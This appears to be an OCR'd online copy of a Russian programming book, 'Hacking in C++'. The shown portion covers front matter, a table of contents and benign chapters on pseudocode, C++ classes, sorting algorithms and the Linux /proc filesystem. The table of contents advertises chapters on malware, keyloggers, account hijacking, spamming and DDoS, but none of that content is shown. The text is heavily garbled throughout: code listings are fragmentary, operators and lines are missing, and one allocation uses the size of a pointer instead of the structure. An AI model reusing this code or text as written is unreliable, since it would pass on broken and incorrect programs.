Хакинг на С++ [А. А. Ярошенко] (pdf) читать онлайн
Книга в формате pdf! Изображения и текст могут не отображаться!
[Настройки текста] [Cбросить фильтры]
А. А.
ХАКИНГ
НА
"Издательство Наука и Техника"
Санкт-Петербург
УДК 004.42
ББК 32.973
Ярошенко А. А.
ХАкинг НА С++ - СПБ.: ИздлтЕЛЬСтво НАУКА и ТвхниКА, 2022. - 272 с., ил.
ISBN 978-5-907592-03-2
Наша книга не посвящена взлому информационных систем, поэтому если
вы надеетесь с ее помощью взломать банк, сайт или еще что-либо, може
те отложить ее в сторону. Но если вы хотите освоить программирование
«взлома» на С++ и отойти от рутинных примеров, которых навалом в любом
самоучителе, эта книга для вас. В ней мы не будем объяснять основы
программирования на С++, т.к. считаем, что вы уже освоили азы и умеете
пользоваться компилятором, чтобы откомпилировать программу.
Хакер умеет найти в программе недостатки, скрытые возможности, лазейки,
и сделать так, чтобы заставить все это работать неправильно или необычно.
Хакер видит то, что не видят другие. А чтобы у вас была возможность так
видеть, вы должны знать языки программирования, и С++ для этого отличный вариант. Мы поговорим об объектно-ориентированном програм
мировании; напишем приложение клиент/сервер; разберемся с алгоритмами
поиска и сортировки; поищем «жертву» с помощью сканера портов; обсудим
шифрованием файлов и займемся разработкой Malware. В общем, рас
смотрим программирование на С++ глазами хакера.
Все права защищены. Никакая часть данной книги не может быть воспроизведена в какой бы то ни было форме без письменного разрешенИJ1
владельцев авторских прав.
Издательство не несет ответственности за возможный ущерб, причиненный в ходе использования материалов данной книги, а также за
доступность материалов, ссьшки на которые вы можете найти в зтой книге. На момент подготовки книги к изданию все ссылки на интернет
ресурсы были действующими.
ISBN 978-5-907592-03-2
Контактные телефоны издательства:
(812) 412 70 26
Официальный сайт: www.nit.com.ru
. JIIJ.2032 ,
© Ярошенко А. А.
© Издательство Наука и Техника (оригинал-макет)
Содержание
https://t.me/it_boooks/2
ВВЕДЕНИЕ ............................................................................................ 9
ГЛАВА 1. ПРОГРАММИРОВАНИЕ ГЛ АЗАМИ ХАКЕРА....... 13
1.1. ЧТО ТАКОЕ ПРОГРАММИРОВАНИЕ ....................................................................... 15
1.2. ВВЕДЕНИЕ В ПСЕВДОКОД........................................................................................... 17
1.2.1. Управляющие конструкции ................................................................. 17
Условная конструкция ......................................................................... 18
Циклы................................................................................................... 19
ГЛАВА 2. ОБЪЕКТНО-ОРИЕНТИРОВАННОЕ ПРОГРАММИРОВАНИЕ ........................................................................ 23
2.1. ПРИМЕР КЛ АССА ............................................................................................................ 24
2.2. КОНСТРУКТОРЫ И ДЕСТРУКТОРЫ ....................................................................... 28
2.3. М АССИВЫ ОБЪЕКТОВ .................................................................................................. 34
2.4. Н АСЛЕДОВАНИЕ......;....................................................................................................... 36
2.5. ПЕРЕГРУЗК А ОПЕРАТОРОВ ........................................................................................ 37
ГЛАВА 3. ПИШЕМ ПРИЛОЖЕНИЕ КЛИЕНТ/СЕРВЕР ........ 39
3.1. АРХИТЕКТУРА СЕТИ ..................................................................................................... 40
3.1.1. Введение в архитектуру клиент/сервер .............................................. 40
3.2. ПРОТОКОЛ И ИНТЕРФЕЙС ......................................................................................... 42
3.2.1. Модель OSI ............................................................................................ 44
,
Физический уровень (Physica\ Layer) ................................................. 46
Канальный уровень (Data link Layer).................................................. 47
Сетевой уровень (Network Layer) ........................................................ 48
_
-............. -......'................. -... - ........ -... - - - - -- -.. - - -.. - - - -
. .... ...
:\аю1111 11а
С++
Транспортный уровень (Transpon Layer)............................................ 49
Сеансовый уровень (Session Layer) ..................................................... 50
Представительный уровень (Presentation Layer) ................................ 51
Прикладной уровень (Application Layer) ............................................ 51
3.2.2. Протокол TCP/IP ................................................................................... 51
3.2.3. Многоуровневая архитектура стека TCP/IP ....................................... 55
Уровень сетевого интерфейса .............................................................. 57
Межсетевой уровень............................................................................. 58
Транспортный ( основной) уровень ..................................................... 59
Уровень приложений ............................................................................ 59
3.2.4. Порты и демоны.................................................................................... 60
3.2.5. Структура пакетов IP и ТСР. ................................................................ 61
3.3. ПРИЛОЖЕНИЕ-КЛИЕНТ .............................................................................................. 64
3.4. ПРИЛОЖЕНИЕ-СЕРВЕР ................................................................................................ 73
3.5. ИСПОЛЬЗУЕМ КОМАНДУ МАКЕ ДЛЯ СБОРКИ СЛОЖНОГО ПРОЕКТА.
СОБИРАЕМ ВСЕ ВОЕДИНО............................................................................... 80
ГЛАВА 4. АЛГОРИТМЫ ПОИСКА И СОРТИРОВКИ ........... 85
4.1. БИНАРНЫЙ ПОИСК В ЦЕЛОЧИСЛЕННОМ МАССИВЕ................................... 86
4.2. БИНАРНЫЙ ПОИСК ПО МАССИВУ УКАЗАТЕЛЕЙ СТРОК............................ 88
4.3. СОРТИРОВКА ПУЗЫРЬКОМ....................................................................................... 90
4.4. БЫСТРАЯ СОРТИРОВКА МАССИВА ....................................................................... 92
4.5. СОРТИРОВКА ВЫБОРОМ............................................................................................ 95
4.6. СОРТИРОВКА ВСТАВКОЙ СВЯЗНОГО СПИСКА ............................................... 99
4.7. ПУЗЫРЬКОВАЯ СОРТИРОВКА СВЯЗНОГО СПИСКА .................................... 101
4.8. ПИРАМИДАЛЬНАЯ СОРТИРОВКА ......................................................................... 106
4.9. СОРТИРОВКА ВСТАВКОЙ МАССИВА ПО УБЫВАНИЮ И ПО ВОЗРАСТАНИЮ .......................................................................................................................... 108
4.10. СОРТИРОВКА СЛИЯНИЕМ МАССИВА ................................................................110
--
4.11. СОРТИРОВКА СЛИЯНИЕМ. СВЯЗНЫЙ СПИСОК ...........................................113
•
4.12. СОРТИРОВКА МАССИВА СТРОК СТАНДАРТНЫМИ СРЕДСТВАМИ.....117
.. -- ------ ---- - -- ----------- - --- - - - -- - . --- -- - - -- -- - - - ---- - - ....... - -. . . - . ... . --- .
( 0.ll'J),IOIIIШ'
4.13. ИСПОЛЬЗОВАНИЕ ИТЕРАТОРОВ BEGINO И ENDO ДЛЯ СОРТИРОВКИ118
ГЛАВА 5. СКАНЕР ПОРТОВ НА С++ ........................................ 123
S.l. ПРИНЦИП РАБОТЫ СКАНЕРА ПОРТОВ .............................................................. 124
S.2. СОВЕРШЕНСТВУЕМ СКАНЕР.............:.................................................................... 126
S.3. СКАНИРОВАНИЕ ДИ АП АЗОН А ПОРТОВ ............................................................ 127
S.4. ПОДДЕРЖКА КОМАНДНОЙ СТРОКИ ................................................................... 134
ГЛАВА 6. ШИФРОВАНИЕ ФАЙЛОВ ......................................... 139
6.1. ЧТО ЕСТЬ ШИФРОВАНИЕ И РАСШИФРОВКА? ................................................ 140
6.2. ПРОСТЕЙШЕЕ ШИФРОВАНИЕ ФАЙЛ А............................................................... 141
6.3. ДЕШИФРОВКА ФАЙЛА ............................................................................................... 143
6.4. СОВЕРШЕНСТВУЕМ ШИФРОВАНИЕ ................................................................... 144
6.S. АЕS-ШИФРОВАНИЕ ...................................................................................................... 147
ГЛАВА 7. ФАЙЛОВАЯ СИСТЕМА ............................................. 159
7.1. КАКИЕ ФАЙЛОВЫЕ СИСТЕМЫ ПОДДЕРЖИВАЕТ LINUX .......................... 160
7.2. КАКАЯ ФАЙЛОВАЯ СИСТЕМА ЛУЧШЕ? ............................................................ 162
7.3. ЧТО НУЖНО ЗНАТЬ О ФАЙЛОВОЙ СИСТЕМЕ LINUX .................................. 163
7.3.1. Имена файлов и каталогов ................................................................. 163
7.3.2. Файлы устройств ................................................................................ 164
7.3.3. Корневая файловая система и основные подкаталоги первого
уровня ........................................................................................................ 165
7.4. ссылки ............................................................................................................................ 167
7.S. ПРАВА ДОСТУПА ........................................................................................................... 168
7.5.1. Общие положения ............................................................................... 168
7.5.2. Смена владельца файла ...................................................................... 169
•
7.5.3. Определение прав доступа ................................................................ 170
7.5.4. Специальные права доступа .............................................................. 173
. . ............. .. ..... .... ......... . .... - ........ ............. -....... - -
.......... ..
'\аю1111 11а
<
++
7.6. АТР ИБУТЫ ФАЙЛА ....................................................................................................... 173
7.7. ПОИСК ФАЙЛОВ ............................................................................................................ 180
7.8. МОНТИР ОВАНИЕ ФАЙЛОВЫХ СИСТЕМ............................................................ 182
7.8.1. Монтируем файловые системы вручную ......................................... 182
7.8.2. Имена устройств ................................................................................. 184
7.8.3. Монтируем файловые системы при загрузке ................................... 187
7.9. РАБОТА С ЖУР НАЛОМ ............................................................................................... 190
7.10. ПР ЕИМУЩЕСТВА ФАЙЛОВОЙ СИСТЕМЫ ЕХТ4 .......................................... 191
7.11. СПЕЦИАЛЬНЫЕ ОПЕРАЦИИ С ФАЙЛОВОЙ СИСТЕМОЙ ......................... 192
7.11.1. Монтирование NТFS-разделов ........................................................ 192
7.11.2. Создание файла подкачки ................................................................ 192
7,11.3. Файлы с файловой системой............................................................ 193
7.11.4. Создание и монтирование ISО-образов .......................................... 194
7.12. ПСЕВДОФАЙЛОВЫЕ СИСТЕМЫ .......................................................................... 195
7.12.1. Псевдофайловая система sysfs ......................................................... 196
7.12.2. Псевдофайловая система proc ......................................................... 198
ГЛАВА 8. РАЗРАБОТКА MALWARE ............................................ 203
8.1. ВВЕДЕНИЕ В РАЗРАБОТКУ MALWARE .................................................................. 204
8.2. КАК РАБОТАЕТ ОБНАРУЖЕНИЕ ВРЕДОНОСНОГО КОДА.......................... 205
8.3. ГЕНЕРИР УЕМ ШЕЛЛ-КОД ......................................................................................... 205
8.4. ВЫПОЛНЕНИЕ ШЕЛЛ-КОДА .................................................................................... 207
8.5. ЗАПУТЫВАЕМ КОД ....................................................................................................... 208
8.6. ДИНАМИЧЕСКИЙ АНАЛИЗ ВР ЕДОНОСА ........................................................... 210
ГЛАВА 9. ПОЛЕЗНЫЕ ПРИМЕРЫ ДЛЯ ХАКИНГА ............. 215
9.1. НТМL-КЛИНЕР НА С++ ............................................................................................... 216
9.2. ПИШЕМ КЕЙЛОГГЕР ......................... :......................................................................... 218
9.3. НЕБОЛЬШАЯ ВР ЕДОНОСНАЯ ПР ОГРАММА .................................................... 22
.
---------------··--·--·-----···--·---------·--·----·---·---·------------·--·-----···
( 'н,1t•р;1,:а1111е
9.4. ГЕНЕРИРОВАНИЕ ВСЕХ ПЕРЕСТАНОВОК ИЛИ ПОПЫТКА БРУТФОРСИНГА ...................................................................................................................... 221
9.5. БРУТФОРСИНГ ............................................................................................................... 224
ГЛАВА 1 О. ШВЕЙЦАРСКИЙ НQЖ ХАКЕРА........................... 239
10.1. КАК ВОССТАНОВИТЬ ПАРОЛЬ TOTAL COMMANDER................................ 240
10.2. БЕСПЛАТНАЯ ОТПРАВКА SMS ПО ВСЕМУ МИРУ ........................................ 242
10.3. ЗАПУТЫВАЕМ СЛЕДЫ В ЛОГА Х СЕРВЕРА ...................................................... 242
10.4. ВОРУЕМ WINRAR ........................................................................................................ 243
10.5. ПРИВАТНАЯ ОПЕРАЦИОННАЯ СИСТЕМА KODACНI ...............................,. 245
10.6. ПЛАГИН PRIVACY POSSUM ДЛЯ FIREFOX ....................................................... 245
10.7. ПОЛУЧАЕМ КОНФИДЕНЦИАЛЬНУЮ ИНФОРМАЦИЮ О ПОЛЬЗОВАТЕЛЕ FACEBOOK ...................................................................................................... 246
10.8. УЗНАЕМ МЕСТОНАХОЖДЕНИЕ ПОЛЬЗОВАТЕЛЯ GMAJL ......................... 247
10.9. ОБХОД АВТОРИЗАЦИИ WI-FI С ГОСТЕВЫМ ДОСТУПОМ. ЛОМАЕМ
ПЛАТНЫЙ WI-FI В ОТЕЛЕ............................................................................... 248
10.10. САЙТ ДЛЯ ИЗМЕНЕНИЯ ГОЛОСА ...................................................................... 248
10.11. СПАМИМ ДРУГА В TELEGRAM С ПОМОЩЬЮ TERMUX ......................... 249
10.12. УЗНАЕМ IР-АДРЕС ЧЕРЕЗ TELEGRAM ............................................................ 250
10.13. КАК УБИТЬ ANDROID-ДEBAЙC ВРАГА ............................................................. 251
10.14. УТИЛИТА ДЛЯ ПОИСКА ИНФОРМАЦИИ О ЧЕЛОВЕКЕ .......................... 251
10.15. БЕСПЛАТНАЯ И ЗАКОННАЯ АКТИВАЦИЯ WINDOWS .............................. 253
10.16. ШИФРУЕМ ВИРУС ДЛЯ ANDROID ..................................................................... 254
10.17. МСТИМ НЕДРУГУ С ПОМОЩЬЮ CALLSPAM .............................................. 256
•
..
10.18. ЕЩЕ ОДНА БОМБА-СПАММЕР ТВОМВ ........................................................... 257
....
.. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . .
:\а1,11111 11:1
С➔+
10.19. ВЗЛОМ INSTAGRAM.....................................................................•............................ 261
10.20. DDOS-ATAKA РОУТЕРА ............................................................................................ 261
10.21. SPLOIТUS - ПОИСКОВИК СВЕЖИХ УЯЗВИМОСТЕЙ ................................ 263
10.22. УГОН TELEGRAM-AKKAYHTA ............................................................................. 264
10.23. К АК ПОЛОЖИТЬ WI-FI СОСЕДА ИЛИ КОНКУРЕНТ А ............................... 265
ВМЕСТО З АКЛЮЧЕНИ Я ....•.............................................................................................. 266
---
•
------------------------ -- ------------------ -- -- -- ------- ----- . ----- . . - · - . - ---.
Введение
:\ai-11111 11а
С++
Сегодня благодаря Голливуду и различным СМИ слово "хакер" ассоциирует
ся в основном со злоумышленниками, занимающимися несанкционирован
ным доступом к различным системам. Попробуем этот термин "отбелить",
рассказав, кто такой хакер на самом деле.
Хакеры в нашем понимании постоянно что-то взламывают - то банк, то сайт,
то какую-то правительственную базу данных. Но на самом деле понятие "ха
кер" появилось еще задолго до появления всемирной сети Интернет.
Впервые о "хакерах" заговорили во времена ARPANET. APANET компьютерная сеть, созданная в 1969 году в США Агентством Министер
ства обороны США ·по перспективным исследованиям и явившаяся прототи
пом сети Интернет. Послужила фундаментом для современного Интернета.
Так вот, во времена ARPANET "хакером" называли человека, который хоро
шо разбирался в компьютерах. Это были фанаты своего дела, помешанные
на компьютерах. В 1969 году у каждого не было компьютера как сейчас. В
основном компьютеры были только в крупных коммерческих и правитель
ственных организациях и занимали они целые комнаты. Некоторое подобие
современного персонального компьютера появилось в 1983 году - с появле
нием IBM РС. По большому счету, когда появились хакеры, не бьmо еще ни
Интернета, ни сайтов, ни вирусов - по сути, не было, что взламывать.
.................. - ... ·-· ................................. -- -- -------- .... ------ - --
•
..
Blll' ll'll lll'
Хакеры существенно помогли в развитии Интернета, а также создали сеть
FIDO, которая работала по принципу "точка-точка". Доступ к Интернету
был достаточно дорогим, а информацией нужно было обмениваться. Поэто
му хакеры создали свою сеть FIDO или FIDOnet - это международная лю
бительская сеть обмена информацией. Сеть была создана в 1984 году Томом
Дженнингсом (англ. Tom Jennings) д.ця передачи сообщений с его BBS (базо
вой станции) на BBS его друга Джона Мэдила (англ. John Madil). Передача
осуществлялась в ночные часы, когда стоимость телефонных звонков была
ниже - кроме телефонных линий других доступнь1х каналов связи не было,
поэтому выход в FIDO сопровождался "жужжанием" модема. Для обмена
почтой с другим узлом сети бьш выделен один час (в течение которого до
ступ сторонних пользователей на BBS бьш закрыт), который позже получил
название "национального почтового часа".
В 1985 году количество базовых станций составило 200 штук. Список узлов
(нодлист, англ. nodelist) распространялся в виде отдельного файла и перво
начально обновлялся самим Дженнингсом.
Позже в FIDO появилась возможность обмена не только сообщениями, но и
файлами. Особую популярность FIDO приобрела в 1990-ых годах - она была
бесплатной, и пользователь платил лишь за "разговор" по телефону, что было
существенно дешевле доступа к Интернету, где нужно было платить и за
"телефон" (поскольку других каналов связи не было), и за Интернет. Автор
этой книги работал с FIDO в 1996 - 1999 гг. Начиная с 2000, Интернет стал
становиться доступнее - стал дешевле доступ, стали появляться так называ
емые саllЬасk-варианты (когда провайдер сам перезванивал на модем поль
зователя и пользователю не приходилось платить за "телефон" - ему нужно
было лишь дозвониться на модем провайдера, который сбрасывал вызов и
перезванивал самостоятельно), стала доступнее технология RadioEthemet и
различные варианты АDSL-доступа. Все это в конечном счете "убило" FIDO
- больше в ней не было смысла. На просторах бывшего СССР "фидошка"
прожила где-то до 2011 года, хотя после 2007 года ее популярность снижа
лась значительными темпами.
Возвращаемся к хакерам. Хакеры того времени не занимались взломом как
таковым. Наоборот, они создавали. Например, Том Дженнингсон был хаке
ром. Но он ничего не взломал, не сломал, а, наоборот, создал. Он создал
Фидо. Хакеры изначально направляли свои усилия на созидание, а не на раз
рушение. Так сказать, находились на стороне добра. Если хакер направлял
свои действия на разрушение чего-либо, это резко осуждалось самим
сообществом хакеров .
•
··················································································-818
:\аю1111 11а С++-
Для разрушителей сами же хакеры придумали отдельный термин- крэкеры
(от анг. cracker). Это именно они взламывают сайты и различные базы дан
ных - ради собственной наживы и минутной славы. Но СМИ все перекру
тило и исказило общественное мнение (впрочем, как обычно). Теперь
компьютерных преступников называют хакерами, хотя на самом деле это не
так.
Наша книга не посвящена взлому информационных систем, и мы честно го
ворим об этом в самом ее начале. Поэтому если вы надеетесь с ее помощью
взломать банк, сайт или еще что-либо, можете отложить ее в сторону. Но
если вы хотите освоить программирование "взлома" на С++ и отойти от ру
тинных примеров, которых навалом в любом самоучителе, эта книга для вас.
В ней мы не будем объяснять основы программирования на С++. Мы счи
таем, что вы уже освоили азы и умеете пользоваться компилятором, чтобы
откомпилировать программу.
Чтобы стать хакером, вам как минимум нужно знать один, а лучше
- несколько языков программирования. Чем отличается программист от
хакера? Программист просто пишет программу, а хакер умеет найти в ней
недостатки, скрытые возможности, найти лазейки в программе так, чтобы
заставить ее работать неправильно или необычно. Хакер видит то, что не
видят другие. А чтобы у вас была возможность так видеть, вы должны знать
языки программирования- без этого никак. Что потом делать с этими лазей
ками? Конечно, же сообщить программисту, чтобы он выпустил обновление
программы и все эти лазейки были закрыты! Ведь мы на стороне добра- не
забывайте об этом.
С++ - один из стандартов в мире. Знание этого языка всегда будет актуаль
ным, в отличие от других языков, которые то появляются, то исчезают, сле
дуя трендам времени. Можно сказать, что это базовый язык программирова
ния и каждый уважающий себя хакер обязан его знать. Даже не так - вы не
сможете называть себя хакером, если вы не знаете С++. Так, пожалуй, будет
точнее.
•
------------------------------------------------·--·----·-·-------------------------·
Глава 1.
Программирование
глазами хакера
:\аю1111 11а < ++
https://t.me/it_boooks/2
Как уже было отмечено, хакер - это человек, который может как написать
код, так и найти в нем уязвимости. Также хакеру нужно понимать принци
пы программирования, иначе он просто не сможет найти уязвимости
в программах. В свою очередь, навыки обнаружения уязвимостей помога
ют при написании программ, поэтому многие хакеры занимаются, как про
граммированием, так и поиском уязвимостей. С этой точки зрения они более
универсальны, чем просто программисты. Также хакером можно назвать
человека, предлагающего нестандартные способы решения задачи. Ведь
английское слово hacking означает обнаружение неочевидного способа ре
шения задачи.
При написании программ поиск уязвимостей может помочь не только для
обхода системы безопасности, но и для сокращения и оптимизации кода,
увеличения его эффективности. Ведь для решения одной и той же задачи
можно написать множество разных вариантов кода. Но один код будет гро
моздким, а другой компактный. Компактный код будет выполняться быстрее
и, в конечном счете, пользователи вам скажут спасибо. Также помните, что
чем сложнее система, тем больше вероятность того, что в ней что-то сло
мается. В компактном �оде есть меньше вещей, которые могут сломаться,
•
•
..................................................··········........................ .
1 1,111,1 1
llpo1 ра,1ч111юш11111t· 1.1а1а,111 ,a1,t:ера
Циклы
Циклы позволяют выполнять одну и ту же последовательность действий
несколько раз либо бесконечно. Все зависит от алгоритма работы программ.
Классическими циклами считаются циклы while и until.
Команды, которые будут повторяться в цикле, называются телом цикла.
Каждый проход цикла называется итерацией. Так вот, цикл while будет вы
полнять тело цикла, пока условие истинно. Синтаксис цикла while выглядит
так:
while (условие)
{
тело цикла;
Ранее мы говорили, что есть возможность выполнения бесконечного цикла.
Да, иногда в программировании нужно создавать бесконечные циклы. Ти
пичный пример - приложение сервер, которое должно обрабатывать запро
сы клиентов. Второй пример - команда ping, отправляющая ЕСНО-запросы
(пинги) на удаленный компьютер. По умолчанию ping выполняется беско
нечно, пока пользователь не прервет ее выполнение, нажав Ctrl + С. В ка
честве условий в таком цикле часто ставят true или 1 - условие всегда будет
истинным.
Пример цикла while:
while (1)
{
ОтправитьПинг(IР-адрес);
Второй пример цикла - представим, что мы пишем программу для блока
управления автомобилем и нам нужно отображать контрольную лампу
МалоТоплива, пока количество бензина в баке меньше 10 литров:
while (Бак.ОстатокТоплива() < 10)
•
........------·· ---. ·--------....... --------------- ---- - - - -- - ---- ---- ----- .. -- --
. ...
Хаю1111 на С++
ВключитьКонтрольнуюЛампу(МалоТоплива);
Цик л until ("пока не") используется в языке Perl (в языке С+ его нет)
и позволяет задать диаметрально противоположное условие. Пример
программы для навигации:
until (слева река)
{
двигайтесь прямо;
Учитывая, что вы пишете на С++, а в С++ нет конструкции until, вы не буде
те использовать этот цикл при написании псевдокода. Понятно, что любой
until можно превратить в while, лишь изменив условие. Нужно отметить, что
цикл while интуитивно более понятен и лучше избегать использования until,
даже если он поддерживается в вашем язь1ке.
Циклfоr называется циклом со счетчиком и используется, когда нужно вы
полнить определенное (четко известное) количество действий. Пример:
for (5 раз)
Подать сигнал;
Данный цикл подает сигнал 5 раз. На языке С такой цикл выглядит так:
for (i=O; iOBaiшr
1.1а 1а,111
,ai,t•pa
i++;
Поэтому цикл while является наиболее универсальным вариантом цикла.
Мы не будем рассматривать псевдокод очень подробно. По большому счету,
он должен быть потянет. Знание и понимание псевдокода позволит читать
и понимать некоторые базовые алгоритмы. Часто их пишут ·на псевдокоде,
чтобы не привязываться к какому-то языку программирования .
•
. ---------------- - -- -- ------ ---------- ------- -- --... -------------- - -- - ------ -----
...
Глава 2.
Объектно
ориентированное
программирование
:\ai.:11111 на
С++
https://t.me/it_boooks/2
В прошлой главе мы говорили о некоторых базовых вещах, которые вы
должны по крайней мере понимать. Хакер может не знать всего, но должен
ориентироваться в основньiх моментах. На практике все программы (кроме
самых простых) написаны с использованием концепции объектно-ориен
тированного программирования, которая существенно упрощает повторное
использование кода, что очень важно для сложных проектов. Поэтому вы не
можете считать себя хакером, если не умеете писать ООП-программы. Мы
не будем подробно углубляться в концепцию ООП-все-таки это более прак
тическая книга, а теорию вы всегда сможете почерпнуть в одном из самоучи
телей. Но мы рассмотрим основные понятия ООП в практических примерах.
2.1. Пример класса
Сейчас мы разработаем собственный класс. Чтобы пример имел практиче
скую ценность, мы разработаем класс стека, который можно использовать
для хранения символов. Для объявления класса используется ключевое сло
во class:
....
•
... . ................ . . .. . . . . .............. . .. . .... . . ... . ....... - ................ .
1 1,111,1 �- Ofil,t'l,I IIIHIJHH'II I IIJIOll,lllllllt' IIJHII J),1\1\IIIJ)IIIЩllllt'
class имя класса {
закрытые методы (функции) и переменные класса
puЬlic:
открытые методы и переменные класса
} [список объектов класса];
Примечание. Обратите внимание, что ; после объявления клас
са - обязательна!
Обратите внимание, что список объектов - необязательная часть. Вы можете
объявить список объектов позже в программе, когда вам это будет нужно.
Функции и переменные, объявленные внутри объявления класса, называют
членами (members) класса. Чтобы не возникало путаницы, функции класса
часто называют методами класса.
Все члены класса, объявленные после служебного слова puЬlic, являются
публичными (общедоступными)- их можно использовать, как и другим чле
нам класса, так и в любой другой части программы, в которой находится
этот класс.
В листинге 2.1 приводится код программы, имитирующей функционал стека
(структуры типа LIFO- Last In, First Out).
Листинг 2.1. Стек на С++
#include
using namespace std;
const int SIZE
26;
class stack {
char stck[SIZE];
int tos;
puЫic:
void init();
void push(char ch);
char рор();
};
void stack: :init()
{
'-·
······--··--···········-····-···· ---·--··········-··
···········-···············-
\.аю1111 11а
tos
С++
О;
void stack: :push(char ch)
if (tos== SIZE)
cout next;
// временный узел
temp = (struct node *)malloc(sizeof(struct node *));
temp->numЬer = value;
// меняем one и two местами в случае необходимости
while(two != NULL && temp->number < two->number)
one = one->next;
al-----------------------------------------------······-···-··-······-···-··-···-··'
1 1,11,,14
\.IIOJJlll\11,I IIOIН'l,a 11 t'OJ)IIIJНIBl,11
two = two->next;
}
one->next = temp;
temp->next = two;
Команда компиляции примера:
g++ 82.срр -о 82 -std=c++l
4.7. Пузырьковая сортировка связного списка
Давайте усложним нашу предыдущую задачу и выполним пузырьковую
сортировку связного списка. Алгоритм будет таким же, но работать мы бу
дем не с массивом, а со связным списком. Подобная задача - хорошая прак
тика по работе с указателями, а они играют в С++ очень важную роль - ни
одна серьезная программа на этом языке программирования не обходится
без указателей. В то же время большинство ошибок, допускаемых начина
ющими программистами, связаны как раз с работой с указателями, поэтому
чем больше пра�qики по работе с указателями у вас будет, тем лучше.
Как уже было отмечено, сам алгоритм сортировки останется тем же (только
мы его слегка модифицируем). Но кроме него нам нужно реализовать еще
две вспомогательных функции:
/* добавляет новый узел в связный список */
void llist add(struct lnode **q, int пum);
/* выводит результат */
void llist_priпt(void);
Рассмотрим сначала функцию llist_add(). Ей передаются два параметра указатель на список и число, которое нужно добавить в список. Если список
пуст, то она создает первый узел - выделяет память с помощью malloc():
if(*q == NULL)
*q = malloc(sizeof(struct lnode));
•
. -------.. ---...-.. - --· --- ... --· .. --·. --- .... -- ... ------ ----... ---·. -- -· - - - -- . - --
...
'\ai-:11111 11а ( ++
Функция "перематывает" список, чтобы добраться к последнему узлу:
/* переходим к последнему узлу */
while(tmp->next != NULL)
tmp = tmp->next;
/* добавляем узел в конец списка */
tmp->next = malloc(sizeof(struct lnode));
tmp = tmp->next;
Напомню, последним считается узел, у которого указатель на следующий
узел (next) равен NULL. Поэтому в самой "перемотке" нет ничего сложного
- нужно двигаться, пока next не будет равен NULL.
Как только мы "перемотали" список и добрались до последнего элемента,
нужно присвоить ему данные:
tmp->data
tmp->next
num;
NULL;
Функция вывода связного списка очень проста. Она похожа на перемотку
списка, только при этой самой перемотке мы выводим значение текущего
элемента списка:
void llist_print(void)
visit = head;
while(visit != NULL) {
cout data next;
cout next;
while(a ! = е)
if(a->data > b->data)
if(а == head) {
tmp = Ь -> next;
b->next = а;
a->next = tmp;
head = Ь;
с = Ь;
} else {
tmp = b->next;
а;
b->next
tmp;
a->next
Ь;
c->next
с = Ь;
} else {
с = а;
а = a->next;
}
Ь = a->next;
if(Ь
е)
е = а;
}
}
Команда компиляции примера:
•
··················································································-ID
:\аю1111 11:1 ( ++
g++ 83.срр -о 83 -std=c++l -fpermissive
4.8. Пирамидальная сортировка
Наш следующий пример - пирамидальная сортировка, она же сортировка
кучей (heap sort). Данный алгоритм является модификацией пузырьковой
сортировки и представляет собой что-то среднее между сортировкой выбо
ром и пузырьковой сортировкой.
Идея алгоритма заключается в следующем: ищем максимальный элемент в
неотсортированной части массива и ставим его в конец этого подмассива.
В поисках максимума подмассив перестраивается в так называемое сорти
рующее дерево (она же двоичная куча, она же пирамида), в результате чего
максимум сам "всплывает" в начало массива.
После этого над оставшейся частью массива снова осуществляется процеду
ра перестройки в сортирующее дерево с последующим перемещением мак
симума в конец подмассива.
Что такое сортирующее дерево? Это такое дерево, у которого любой роди
тель не меньше, чем каждый из его потомков - так называемое неубывающее
дерево. Есть и невозрастающее дерево - это когда любой родитель не боль-.
ше, чем каждый из его потомков.
Листинг 4.8. Пирамидальная сортировка
#include
#include
/* максимальная длина массива ... */
#define МAXARRAY 5
using names pace std;
/* осуществляет пирамидальную сортировку */
void heapsort( int ar[], int len);
/* помогает heapsort() "выталкивать" элементы, начиная с позиции pos */
void heapbubЫe(int pos, int ar[], int len);
...
int main (void) {
.
•
- - - --... -...--.. - .... - ... - -...-.. -- -.......-- . -- -...- -- .. -... --..---.. -- .. - .... -.
1 1,11\,1 4
\, 11ор111 \11,1 llfllll'l,a II l'O(J l ll(IOlll-:11
int array[МAXARRAY];
int i = О;
/* загружаем случайные элементы в массив */
for(i = О; i < МAXARRAY; i++)
array[i] = rand() % 100;
/* выводим исходный массив */
cout max)
swap(min, max);
if (min == max)
return std::vector(l, min);
std: :vector values;
for (; min /proc/sys/kernel/ctrl-alt-del
Файл /proc/sys/kemel/printk позволяет задать, какие сообщения ядра будут
выведены на консоль, а какие - попадут в журнал демона syslog. По умолча
нию в этом файле содержатся значения 4 4 1 7. Сообщения с приоритетом 4 и
ниже (первая четверка) будут выводиться на консоль. Вторая четверка - это
уровень приоритета по умолчанию. Если для сообщения не задан уровень
приоритета, то считается, что его приоритет будет равен 4.
Третье значение определяет номер самого максимального приоритета.
Последнее значение - это уровень приоритета по умолчанию для первого
значения.
В большинстве случаев изменяют только первое значение, позволяющее
определить, будет ли сообщения с указанным уровнем приоритета выво
диться на консоль или нет. Остальные параметры оставляют без изменения.
В файле /proc/sys/net/core/netdev_max_backlog содержится максимальное
число пакетов в очереди. Значение по умолчанию - / ООО.
Файл /proc/sys/fs/file-max позволяет изменить максимальное количество за
головков файлов, которое может быть одновременно открыто. Другими сло
вами, этот файл задает, сколько одновременно может быть открыто файлов.
Значение по умолчанию для ядра 3.16 и файловой системы btrfs- 73054..
Чтобы сохранить внесенные "на лету" изменения, и чтобы их не
пришлось снова вводить при следующей перезагрузке сервера, нужно
отредактировать файл /etc/sysctl.conf. Представим, что вы изменили зна
чение из файла /proc/sys/fs/file-max. Тогда в файл /etc/sysctl.conf нужно
добавить строку:
fs.file-max
16 384
Принцип прост: /proc/sys/ отбрасывается совсем, а в оставшейся строке все
слеши заменяются точками. Само же значение указывается через знак ра
венства. Если нужно указать несколько значений, то они указываются через
Пробел.
О файловой системе в Linux можно написать отдельную книгу, которая бу
дет не меньше, чем та, которую вы держите в руках. Поэтому в этой главе
мы рассмотрели только самое необходимое для начинающего хакера.
Поскольку файловая система - это неотъемлемая часть операционной
...
-.. -.. -...-...... - - - ..--- ---. -. - - ..-. -... -. ---. - - -- ......- -.. - .... -- .. -- .. --- .
_,
1
1.1н.1 .., Фаi1. �ован c11t· 1 t·,1a
системы, то можно сказать, что вы стали не только хакером, но и продвину
тым пользователем Linux - теперь вы понимаете, как все устроено изнутри
и на голову выше, чем примерно 70% обычных пользователей этой ОС.
•
